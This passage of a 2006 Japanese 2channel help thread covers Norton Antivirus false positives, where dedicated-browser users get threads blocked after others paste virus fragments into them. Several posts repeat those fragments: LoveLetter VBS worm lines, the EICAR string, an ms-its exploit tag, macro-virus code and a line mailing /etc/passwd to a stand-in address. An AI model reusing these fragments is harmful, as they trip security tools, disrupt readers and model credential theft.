- 524 :ひよこ名無しさん:2006/04/15(土) 16:37:44 ID:???
- 一昨日くらいからスレが見れなくなった
もちろんログ除外はしてあるのに、ノートン切ると見れる
どうして?ちなみに専ブラはギコナビ
- 525 :ひよこ名無しさん:2006/04/15(土) 23:21:55 ID:???
- >>524
誤反応
- 526 :ひよこ名無しさん:2006/04/16(日) 09:18:27 ID:???
- >>524
ログ除外以外にもやる事がある
>>1から読め
- 527 :ひよこ名無しさん:2006/04/17(月) 20:53:52 ID:Se29R1qE
- c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
End Sub
<body onload=window()>
- 528 :ひよこ名無しさん:2006/04/24(月) 17:37:20 ID:2zoSjqC7
- にくちゃんねるでログ漁ってたら「ワーム検出で遮断」とかで結局目的のスレが見られないんだが諦めるしかないのかな。
htmlを拡張子の検出対象から外すのもアレだし、ワーム防止をオフにするのもあんまりよろしくなさそうなんだがね。
エロイ人でもエロくない人でも良いから詳しく知ってる人教えておくれ。
- 529 :ひよこ名無しさん:2006/04/24(月) 20:13:42 ID:???
- ふーん
- 530 :ひよこ名無しさん:2006/04/30(日) 18:51:48 ID:???
- >NIS2005の場合(多分NIS2006も同じ)
同じではない件に付いて
- 531 :ぴーこ名無しさん:2006/05/01(月) 23:31:23 ID:???
- >>530
kwsk
- 532 :ぴーこ名無しさん:2006/05/01(月) 23:32:01 ID:???
- 目欄が・・・orz...........
- 533 :ひよこ名無しさん:2006/05/04(木) 23:17:25 ID:Gcx9i+9f
- >>524と同じ症状です。
ここ1週間から出てる。
- 534 :ひよこ名無しさん:2006/05/13(土) 05:26:57 ID:w+9rO7hg
- , -'"´  ̄`丶、_
,.∩ `ヽ
〃∪'´ ̄`二二人\ ヽ
| ツ´ ̄ ̄ ̄ ̄´ ヾ ヽ. ',
|ハ ,ニ、 ,. - 、 | | | l |
| ハ ィハ ,二ヽ. | | | | | 同じ板にコピペするとそのままだけど、
| | | じ' |トJ〉 /)} l | 違う板にコピペすると鬼のような怖い顔
| ハ 、'_,  ̄,, 厶イ川| に変わる摩訶不思議な佳子様コピペ。
l l /\ .. イV\川 |
,' l l ,イ `l ̄´ / /ヽl l
l | l ハ `メ、 〃 ヽヽ、__ノ
l ∨ └‐イ「ト--ァ'´ ハヽ__ノ
ヽ/ } l」」 / / }`ー
〈_n| 八 / / /ノ
〈二二人 c /\/ / , イ
/ /厂 /\__>< {_
- 535 :ひよこ名無しさん:2006/05/13(土) 09:57:56 ID:???
- , -'"´  ̄`丶、_
,.∩ `ヽ
〃∪'´ ̄`二二人\ ヽ
| ツ´ ̄ ̄ ̄ ̄´ ヾ ヽ. ',
|ハ ,ニ、 ,. - 、 | | | l |
| ハ ィハ ,二ヽ. | | | | | 同じ板にコピペするとそのままだけど、
| | | じ' |トJ〉 /)} l | 違う板にコピペすると鬼のような怖い顔
| ハ 、'_,  ̄,, 厶イ川| に変わる摩訶不思議な佳子様コピペ。
l l /\ .. イV\川 |
,' l l ,イ `l ̄´ / /ヽl l
l | l ハ `メ、 〃 ヽヽ、__ノ
l ∨ └‐イ「ト--ァ'´ ハヽ__ノ
ヽ/ } l」」 / / }`ー
〈_n| 八 / / /ノ
〈二二人 c /\/ / , イ
/ /厂 /\__>< {_
- 536 :ひよこ名無しさん:2006/05/15(月) 14:24:13 ID:???
- c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
- 537 :ひよこ名無しさん:2006/05/19(金) 20:06:44 ID:???
- 保守age
- 538 :ひよこ名無しさん:2006/05/24(水) 01:38:47 ID:uOt5d8a9
- Live2ch使ってます
NAV2003のAutoと手動の各除外にLive2chのログフォルダを指定してますが
このスレを表示すると、「VBS.LoveLetter.Var」の表示が出ます。
もちろんスレは見れない状態です。
どうすれば回避できますか?
- 539 :ひよこ名無しさん:2006/05/24(水) 01:40:06 ID:???
-
___
/ \ ________
/ ´` \ /
| ・ ・ | <おい糞元祖ぶる殿 ◆U/gDqFZzsY.急ぎでラーク買うて来い
| (● ●) | \________
\ ⊂ニ⊃ ノ
\ ⊂ニ⊃
 ̄ ̄ ̄
- 540 :ぴーこ名無しさん:2006/05/24(水) 02:15:51 ID:???
- >>538
http://pc7.2ch.net/test/read.cgi/software/1144772862/12
ログフォルダの指定を今一度確認してください。
以下の方法でウイルスの検出された場所がわかります。
検出先が2ちゃんねるブラウザのログフォルダに含まれていることを確認してね。
http://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/11ea5eb60c47e5c085256c470046ed2f/3a0dc97983b6908649256cee002d4b3b?OpenDocument
Norton AntiVirus を起動し、[レポート] を選択する。
「活動ログ」 の右側に表示されているボタン、[レポートの表示] をクリックする。
- 541 :538:2006/05/24(水) 02:24:00 ID:???
- >>540
グミクズがさっさと教えろや
- 542 :538:2006/05/24(水) 03:34:43 ID:uOt5d8a9
- >>540
レスありがとうございます。
ログフォルダの指定は合っていました。
ウィルスの検出場所は、Live2ch\temp.htm、という所です。
このHTMLファイルをNAVの除外に設定すればいいんですかね?
それとも止めといたほうがいいですか?(このファイルを削除しても意味無しですよね)
よろしければレスお願いします。
>>541
ID隠して騙りは止めてね
- 543 :538:2006/05/24(水) 03:39:57 ID:uOt5d8a9
- >>540
言い忘れました、ちなみに
Live2ch\temp.htmはログフォルダの外にあるファイルです。
- 544 :ぴーこ名無しさん:2006/05/24(水) 04:07:14 ID:???
- >>542-543
こちらでも確認しました。
Live2chのスレビューはdatをtemp.htmに通して表示するので反応しているようです。
temp.htmを除外に加えたら正常に表示されました。
注意点はウイルスコードをhtmlに埋め込むことになるのでtemp.htmをIEなどのwebブラウザでは開かないでください。
また、2ちゃんねるブラウザの脆弱性を突いたウイルスコードも出る可能性もありますのでノートン本スレや
お使いの2ちゃんねるブラウザのスレを見るようにしてください。
- 545 :ぴーこ名無しさん:2006/05/24(水) 04:18:41 ID:???
- >>544追記
Live2chのfaqが過去ログにありました。>>84 orz.......
参考に
http://pc7.2ch.net/test/read.cgi/software/1141544659/484-n dat落ち
ttp://220.254.5.211:8000/2ch/pc7_software/1141/1141544659.html#484 ミラー
- 546 :538:2006/05/24(水) 04:40:48 ID:uOt5d8a9
- >>545
わざわざ再現までしていただき(しかもこんな夜中に)すみません。。。
temp.htmを除外に加えたら、無事このスレもLive2chで見る事が出来ました。
ありがとうございます!
しかも、過去ログまで探してくれたんですね、、、ありがとうございます。
- 547 :ひよこ名無しさん:2006/05/24(水) 04:47:04 ID:???
- >>546
俺も暇だからよー
- 548 :ひよこ名無しさん:2006/05/24(水) 13:46:43 ID:???
- >>546
俺も暇だからよー
- 549 :cen ◆Am9xOgNMYE :2006/05/30(火) 02:32:01 ID:??? ?
- こんばんは。
>>17のソフトですが、対応するスクリプトを増やしました。
それから、検索の途中で中止できるようにしました。
- 550 :cen ◆Am9xOgNMYE :2006/05/30(火) 02:32:51 ID:??? ?
- 忘れてました。
こちらです。
http://www.geocities.jp/cen_hp/index.html
- 551 :ひよこ名無しさん:2006/05/31(水) 22:57:19 ID:???
- bbs.cgiが更新されて>>4のような置換がちゃんと行われるようになった模様です
今後はウィルスコード貼っても反応しなくなるのかな
- 552 :ひよこ名無しさん:2006/06/01(木) 00:54:09 ID:???
- ダメですた
http://news18.2ch.net/test/read.cgi/mnewsplus/1149087966/66
>>4は完全に嘘であることが判明したので
次スレから削除かな
削除するだけだと「親切にも」追記する人が現れかねないから
別のテンプレに差し替えた方がいいかな
- 553 :cen ◆Am9xOgNMYE :2006/06/01(木) 01:06:54 ID:???
- >>552
>>4の置換で反応しないものもありますが、反応するものも
あります。完全に嘘というわけではないです。
- 554 :ひよこ名無しさん:2006/06/01(木) 01:23:16 ID:???
- どっちにしろ置換するようになったんだから>>4は大幅書き換えが必要
- 555 :cen ◆Am9xOgNMYE :2006/06/02(金) 01:25:51 ID:???
- こんばんは。
>>17のソフトですが、フォルダの設定によって検索できない場合
がありましたので、修正しました。
http://www.geocities.jp/cen_hp/index.html
- 556 :ぴーこ名無しさん:2006/06/02(金) 02:28:30 ID:???
- >>4のテンプレ案です。
単純に文字参照を抜いてみました。
ノートンが反応するのは、ここの掲示板(2ちゃんねる)の仕様です。
ここは、時に他のウィルス対策ソフトが反応する場合もあります。
断言できることは、他のWebページでノートンが反応した場合は要注意ということ。
尚、ここはウイルス鑑定スレではありません。
危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。
http://find.2ch.net/?STR=%CD%A6%B5%A4%A4%AC%CC%B5%A4%AF%A4%C6+%B2%F2%C0%E2%A5%B9%A5%EC&COUNT=50&TYPE=TITLE&BBS=ALL
■関連
ノートントラップ
http://ansitu.xrea.jp/guidance/?Trap#NortonTrap
ノートンインターネットセキュリティ@2ちゃんねる検索
http://find.2ch.net/?STR=%A5%CE%A1%BC%A5%C8%A5%F3+%8E%B2%8E%DD%8E%C0%8E%B0%8E%C8%8E%AF%8E%C4%8E%BE%8E%B7%8E%AD%8E%D8%8E%C3%8E%A8+board%3A%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3&COUNT=50&TYPE=TITLE&BBS=ALL
- 557 :ひよこ名無しさん:2006/06/02(金) 04:54:27 ID:???
- >>556
Q. 2chが文字を置換しないのが悪いって聞いたんだけど
A. 情報が古いと思われます。2006年6月から置換するようになりましたが、
問題の文字を使わなくてもノートンが誤検出する文字列は作れるので
相変わらず反応する場合があります。
↑とか追加した方がいい。単に消すと
> 「親切にも」追記する人が現れかねないから
を防げない。
- 558 :ぴーこ名無しさん:2006/06/03(土) 22:00:18 ID:???
- Q. 2ちゃんねるが文字を置換しないのが悪いって聞いたんだけど
A. 2006年6月から置換するようになりましたが、
ノートンが誤検出する置換できないウィルスコードがあるので反応します。
ノートンがウイルスソースに誤反応の補足
http://ansitu.xrea.jp/guidance/?supplement#o0c3cb41
ノートンが反応するのは、ここの掲示板(2ちゃんねる)の仕様です。
ここは、時に他のウィルス対策ソフトが反応する場合もあります。
断言できることは、他のWebページでノートンが反応した場合は要注意ということ。
尚、ここはウイルス鑑定スレではありません。
危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。
http://find.2ch.net/?STR=%CD%A6%B5%A4%A4%AC%CC%B5%A4%AF%A4%C6+%B2%F2%C0%E2%A5%B9%A5%EC&COUNT=50&TYPE=TITLE&BBS=ALL
■関連
ノートントラップ
http://ansitu.xrea.jp/guidance/?Trap#NortonTrap
ノートンインターネットセキュリティ@2ちゃんねる検索
http://find.2ch.net/?STR=%A5%CE%A1%BC%A5%C8%A5%F3+%8E%B2%8E%DD%8E%C0%8E%B0%8E%C8%8E%AF%8E%C4%8E%BE%8E%B7%8E%AD%8E%D8%8E%C3%8E%A8+board%3A%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3&COUNT=50&TYPE=TITLE&BBS=ALL
>>557
ノシシ
以前の説明をwikiに誘導する形にしてみました。
- 559 :ひよこ名無しさん:2006/06/04(日) 10:03:06 ID:???
- u
- 560 :ひよこ名無しさん:2006/06/04(日) 10:27:58 ID:???
- 保守
- 561 :ひよこ名無しさん:2006/06/05(月) 19:23:06 ID:???
- jane doe view使ってるんですが、
ノートントラップのウィルスコード貼られたスレ取得障害になったり、
ここのPC初心者板なんかはノートン切らないと来れません。
それで対策として書かれてる見て、
ノートンアンチウィルスの手動&オートの除外項目から、
viewのLogsフォルダを両方除外したんですが、
それでも駄目なままです。
他に何をしないといけないんでしょうか?
- 562 :ひよこ名無しさん:2006/06/05(月) 19:44:30 ID:???
- ここを読み直せ
- 563 :ひよこ名無しさん:2006/06/06(火) 18:14:41 ID:yssu6HWa
- ウィルスコードに反応したせいで、取得したログが消滅するのについては、
ログフォルダを除外すればいけるわけですが、
最近のウィルスコードは進化してて、
Autoblockで侵入感知反応してしまって、
2chの該当IPをアク禁にしてしまってるようなんです。
この場合の対応はどのようにすればよいでしょうか?
ノートン切らないと、ログを取得するどころか、
スレ単位、はなはだしくは板単位でアクセスすらできません。
- 564 :ひよこ名無しさん:2006/06/06(火) 18:17:44 ID:???
- >>563
リカバリしろデブ。
- 565 :ひよこ名無しさん:2006/06/06(火) 18:30:21 ID:???
- どの専ブラでも基本はログと書き込みフォルダを
除外すればおk?
- 566 :ぴーこ名無しさん:2006/06/07(水) 01:17:37 ID:???
- >>563
http://mickey.mirv.net/2chnis.html
>>565
ttp://ansitu.xrea.jp/guidance/?Trap#NortonTrap の3番目
詳しくはお使いの2ちゃんねるブラウザのヘルプ・スレ等で確認してください。
- 567 :ひよこ名無しさん:2006/06/07(水) 18:58:51 ID:???
- >>564
リカバリしろデブ。
- 568 :<body onload=window()>:2006/06/08(木) 03:34:49 ID:???
- p + w * 10 <br> End Sub <br>
LOVE-LETTER-FOR-YOU
- 569 :ひよこ名無しさん:2006/06/08(木) 03:36:10 ID:???
- >568
- 570 :ひよこ名無しさん:2006/06/08(木) 04:18:57 ID:???
- さっきこのウィルスソースが2ちゃん掲示板に埋められてるのを見てしまったら、
ウィルスソフトは反応しなかったのですが、
いきなり2ちゃん掲示板の行間が広くなってしまいました。
ネットから接続を切って履歴とかTemporaryInternetFileとか全部削除してから
ウィルスチェックをしましたが反応なし。
これはブラウザの表示は変になったけど感染はしなかったということで大丈夫なのでしょうか?
ブラウザは専ブラじゃなくIEで、ウィルスソフトはソースネクストのウィルスセキュリティです。
- 571 :ひよこ名無しさん:2006/06/08(木) 04:21:40 ID:???
- 570ですが補足です。
表示したスレは
ttp://news19.2ch.net/test/read.cgi/newsplus/1149683324/l50
で、ここの>>5にそのソースが書いてありました。
- 572 :ひよこ名無しさん:2006/06/08(木) 04:23:53 ID:???
- >>570
行間が広くなるのはシリア語ブラクラじゃないのか?
- 573 :ひよこ名無しさん:2006/06/08(木) 04:27:58 ID:???
- >>571
5の最後の行にシリア語書いてあるね
- 574 :ひよこ名無しさん:2006/06/08(木) 04:48:56 ID:???
- >>572-573
レスありがとうございます。
シリア語ブラクラだと行間が広くなる以外の被害はないですか?
初めて聞いたもので>シリア語ブラクラ
さきほど念のためもう一度ウィルスチェックしましたがウィルス発見なしでした。
ブラウザと閉じるときにInternetTemporaryFileの中身を削除する設定にしてあるのですが
こちらも念のためInternetTemporaryFileの中身も確認してみましたが
cookieファイルとfaviconファイルのみ格納されていました。
「html」「htm」がなくなってれば大丈夫ですかね?
- 575 :ひよこ名無しさん:2006/06/08(木) 05:11:57 ID:???
- / ̄ ̄ ̄ ̄ ̄ ̄ ̄\
| ○。 |
ノノ) 从
( i从〓〓 〓〓.从
.从-=・=- -=・=-从
从从. l 从)
(从.l∴ ∨ ∴从人)
(人人|∴ ヽ .ー===-' ./.∴..从人) <無職元祖ぶる殿 ◆U/gDqFZzsY蚤
(人人|∴∴!  ̄ !∴∴l从人)
(人人|∴∴!. !∴∴l从人)
(人人|∴∴!. !∴∴l从人)
..(人人人_人____人_.人人人)
〔ノ二二,___ __,二二ヽ〕
|:::::::::::::::::::::::::ヽ゜ ゜/:::::::::::::::::::::::::/
〉::::::::: :::::::::::::〉__∩__〈:::::::::::::: ::::::::〈
|:::::::::::::::::::::::/\ ̄/ヽ:::::::::::::::::::::/
〔:::::::::::::::::::::/ ノ ~ヽ ヽ::::::::::::::::::|
ヽ:::::::::::::::::/ /:::::::::::: \ ):::::::::::::::::::ゝ
ノ:::::::::::::::::::| |_〜─ー= - | |〜〜〜/
- 576 :ひよこ名無しさん:2006/06/12(月) 11:39:57 ID:???
- このスレだと反応しないのは何で?
- 577 :ひよこ名無しさん:2006/06/13(火) 14:13:25 ID:???
- 特定のスレに擬似ウィルスコード貼り付ける奴がいて困ってます。
ノートンのauto protect と手動スキャンで、
専ブラを除外するように設定してるんですが、スレを開くとエラーになってしまいます。
ttp://ansitu.xrea.jp/guidance/?NortonInternetSecurity
このサイトに書かれてる、信頼のアドレスを追加の設定はしました。
エラーのログを取得して、弾かれて、
有志さんの誤反応無効化スクリプトで書き換えて、
時間たつのまってから閲覧。しかもレス番はズレでわけわかめ
という状態です。
何かうまく弾く方法はないんでしょうか?
- 578 :ひよこ名無しさん:2006/06/13(火) 20:49:00 ID:???
- >>577
きちんと専ブラのログを除外する
- 579 :577:2006/06/14(水) 13:32:40 ID:???
- >>578
僕の分かるように1〜10までしっかりすべてと教えて下さい。
さっさと、教えろボケこのやろう
∧_∧
,,,,,,,,,,,,,,,∧,,∧ ( ´∀`) \
〜′,,,,,,,,,,ミ,,゚Д゚彡 / つ℃━━━━━━━━━━━━
UU""""U U 〜(_つ つ \へへ_ |
――――――――――――――――| . |
| |
|へ__ . |
| |
へ____へ__/___へへ__へ______ |
|
| |
(( | ))
| |
| |
|
|〜〜〜ヽ`∀´>ヾ〕∈
- 580 :ひよこ名無しさん:2006/06/17(土) 22:54:14 ID:???
- >>2ё
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???
- 581 :ひよこ名無しさん:2006/06/18(日) 17:52:54 ID:k4PxNBCi
- <body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1))
- 582 :ひよこ名無しさん:2006/06/18(日) 18:33:56 ID:???
-
- 583 :ひよこ名無しさん:2006/06/20(火) 00:04:58 ID:???
- 時々スレを転々としてると、急に変な改行になるんですが(文と文の隙間が全部空いてしまう)
これってウイルスに侵されてるのでしょうか?
- 584 :ひよこ名無しさん:2006/06/20(火) 01:18:31 ID:???
- l'vヘ
ハ ┌( ;/ ト, ,、 rヘ r'^ナrジ-z
__}ヽ,__ (ヽ/ス_r^フしz,り い)n/イr〜^′
'っヾ、r'__ |レ'ノ_C'入彳勺ソメろ_j/し-,_
`フ ヾ勹_| <_r' !|刀_」r''>||/⌒(_rヘ-‐'
<_ゝし||フぅ(ひzメ__ゝ'l !'そ
~zヾ|て 、l レ^ //'| |'~
| | ヽl| // }|
| :! || | | ,/ ,'
| :{. || | |/ / すいません、ちょっと通りますよ・・・
l !|| | | /
ヽ ヽ.|/ //
_,r)_ j (_,( ciz
,ノこ_- __,ーヽ ん|Zゥ レz zjそ_
} ... 丿 ろ、,_!|乙7ムLそ/し-z
ノ""'' 一( `う.l !シ/ア了//_⊂,
/、__ ヽ ^'| |~//,/_ソ ハr^
/ ...... ーl | |// //ノ
/~"' 、__/ ,,,...} |/ /// _Jv ,、 _,、
{' _ `y′ 一 / r'〜(_ノ z'jく|!ぞぅンそ
人 =/‐- ハ 丿" ''( ぅY||/ソ'/`′
ヽ '' / __,, / / ‐- ''') | レ'//
'∨ X. }''' ....ノ ノムxく
j ー/ /== ノ'ヽ rご ー(
/=‐ r'´-ヽ } ー/'''' { ,ノ'' y' ...)
,' _,, 人 ''"`、 ノ.. '' ノ`ヽ ''"ヽ / ー人.... (
{ー / \ -'} / / \'''}` ('' ィ´ \_ヽ
ハ 〈 )八 ( f )ハ. )ノ _)ノ
ヽ ) (( )ノ / ー'′
- 585 :dirsystem&"\MSKernel32.vbs:2006/06/20(火) 01:55:47 ID:???
- >>568
- 586 :あぼ〜ん:2006/06/20(火) 01:56:38 ID:???
- >>568 >>585
- 587 :ひよこ名無しさん:2006/06/20(火) 02:15:03 ID:???
- >>583
シリア語ブラクラ
これを使うといい。
http://www.geocities.jp/cen_hp/program3.html
- 588 :ひよこ名無しさん:2006/06/20(火) 23:24:54 ID:???
- <body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1))
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
- 589 :ひよこ名無しさん:2006/06/21(水) 12:18:24 ID:nQsDrOZ+
- このスレに貼ってあるソースは大丈夫なのですか?
例えば>>580-581とか、>>588とか…
このスレだと反応ないんですが、何か特別なのでしょうか?
- 590 :ひよこ名無しさん:2006/06/21(水) 14:23:42 ID:fhcCUte2
- テスト
- 591 :ひよこ名無しさん:2006/06/21(水) 20:24:45 ID:???
- >>589
心配しすぎだと思うんです(><)
これが動いたら2chは大騒ぎになっちゃうと思うんです(><)
- 592 :ひよこ名無しさん。:2006/06/21(水) 23:50:37 ID:???
- NGワードあぼ〜んすればおk
- 593 :ひよこ名無しさん:2006/06/22(木) 20:26:16 ID:l9A+tZtH
- 誘導されてきました
導入しているマカフィーでスキャンかけても何の反応もなかったんですが、
ノートンのオンラインスキャンやってみると
感染ファイルが二個みつかって
C:\Program Files\gikoNavi\Log\2ch\aasaloon\Folder.idx は Bloodhound.Exploit.6 に感染しています。
C:\Program Files\gikoNavi\Log\2ch\aasaloon\subject.txt は Bloodhound.Exploit.6 に感染しています。
と言う表示が出ました。
これは危険なんでしょうか。それともただのウィルスコード?
- 594 :ひよこ名無しさん:2006/06/22(木) 20:27:57 ID:???
- >>593
ただのウィルスコード
これで消せる。
http://www.geocities.jp/cen_hp/program3.html
- 595 :ひよこ名無しさん:2006/06/22(木) 20:28:13 ID:???
- >>593
ノートンがvbsウィルスのソースに誤反応3
http://pc7.2ch.net/test/read.cgi/pcqa/1109609938/
- 596 :ひよこ名無しさん:2006/06/22(木) 20:28:47 ID:???
- >>594
cen乙
- 597 :ひよこ名無しさん:2006/06/22(木) 20:30:04 ID:???
- >>594-596
レス早いなw
- 598 :ひよこ名無しさん:2006/06/22(木) 20:41:25 ID:???
- 粘着してリロードしながら監視してるんだろ?www
- 599 :ひよこ名無しさん:2006/06/22(木) 20:44:02 ID:l9A+tZtH
- >>594
ありがとうございます。
見分けるコツみたいなものはあるんですか?
- 600 :ひよこ名無しさん:2006/06/22(木) 22:08:53 ID:???
- <body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
- 601 :ひよこ名無しさん:2006/06/23(金) 00:17:41 ID:???
- ノートンがvbsウィルスのソースに誤反応3
http://pc7.2ch.net/test/read.cgi/pcqa/1109609938/
テンプレにでも入れるか・・・?
脳豚使うなら自力で何とかしろよ・・・
- 602 :ひよこ名無しさん:2006/06/23(金) 00:18:16 ID:???
- 誤爆
- 603 :ひよこ名無しさん:2006/06/23(金) 18:23:08 ID:???
- ___ゲームキャラ板でもモニカワイイモニカ様___
http://game10.2ch.net/test/read.cgi/gamechara/1146829934/
このスレを開くと閲覧できないどころか
一回再起動しないとgame10鯖に繋がらなくなる障害が出るんですが
NGコードとかどう打って対処すればいいのですか?
- 604 :ひよこ名無しさん:2006/06/23(金) 18:23:47 ID:6hQn7KgH
- 使用2chブラウザは Jane Doe Styleです。
- 605 :ひよこ名無しさん:2006/06/23(金) 18:25:27 ID:???
- >>604
回答めんどいからこのスレ内検索して
- 606 :ひよこ名無しさん:2006/06/23(金) 22:47:16 ID:???
- >>599
専用ブラウザでスレを取得した「だけ」で反応したら間違いなく誤反応なので心配無用。
スレに貼られたURLをクリックして反応したならウィルスの疑いあり。
てゆーか、やたらとクリックしちゃダメ。
- 607 :ひよこ名無しさん:2006/06/28(水) 16:58:31 ID:???
- age
- 608 :ひよこ名無しさん:2006/06/29(木) 15:09:12 ID:C6iUe2mV
- Your attention,Please. みなさまに申し上げます
fire drill 火災避難訓練
- 609 :ひよこ名無しさん:2006/06/29(木) 19:41:48 ID:???
- age
- 610 :ひよこ名無しさん:2006/06/29(木) 21:38:29 ID:???
- http://pc7.2ch.net/test/read.cgi/pcqa/1151570961/111-
111 名前:ひよこ名無しさん 投稿日:2006/06/29(木) 21:33:23 ID:P5JFBD43
キャップもらってパスワードもらって、名前欄に書き込んでも、
○★ にならなくて○◆になってしまうんですが、どうしてでしょうか
